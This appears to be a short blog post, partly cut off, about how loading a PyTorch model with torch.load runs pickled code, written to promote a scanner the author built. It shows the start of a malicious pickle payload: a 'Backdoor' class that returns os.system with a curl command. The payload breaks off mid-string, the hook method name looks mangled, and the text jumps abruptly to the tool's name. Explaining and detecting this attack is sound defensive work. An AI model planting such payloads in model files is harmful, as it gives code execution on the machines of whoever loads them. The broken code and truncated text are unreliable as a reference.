Your PyTorch Model File Can Execute Arbitrary Code — Here's How I Built a Scanner to Detect It

Every time you run torch.load("model.pt"), you're executing arbitrary Python code. Not "could theoretically execute" — actually executing. The pickle format that

PyTorch uses for serialization has a built-in code execution mechanism, and it's trivial to exploit.

I built a tool to detect this. Here's what I learned.

The Attack: 4 Lines of Code

import pickle, os

class Backdoor:

def reduce(self):

return (os.system, ("curl

I built Model-Supply-Chain-Auditor ()